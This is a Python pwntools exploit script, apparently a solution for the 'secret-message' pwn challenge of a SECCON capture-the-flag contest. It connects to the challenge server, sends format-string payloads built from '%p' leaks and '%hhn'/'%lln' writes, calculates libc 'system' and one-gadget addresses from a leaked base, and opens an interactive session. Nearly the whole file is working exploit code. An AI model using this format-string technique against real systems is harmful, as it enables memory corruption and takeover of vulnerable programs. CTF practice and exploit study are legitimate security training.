#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Auth0r : afang
# nice day mua! :P
# desc:

#lambs:
wait = lambda x: raw_input(x)

# imports

from pwn import *
import sys
#p = remote("127.0.0.1", 2222)
p = remote("secret-message.pwn.seccon.jp", 31337)

first = "%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%210p%hhn%67\$p"
p.recv()
wait("me")

p.send("s")
p.recvuntil("path : \n")

p.sendline(sys.argv[1])

print p.recvuntil("from")
print p.recvuntil("welcome~\n")

libc_base = raw_input("give me libc: ")

libc = int(libc_base,16)

system = libc + 0x45390 
one = libc + 0xf1147

target2 = 0x60a1f8

print hex(target2)
wait("Me")
target = 0x60a1f0 - 0x80 - 0x221 #delete
target2 = target2 - target 

payload2 = "%p" * 46 + "%" +str(target) + 'p' + "%lln" + "%60\$n"
#"%p" * 10 + "%" + str(target2) + "p" + "%n"
print payload2

p.interactive()


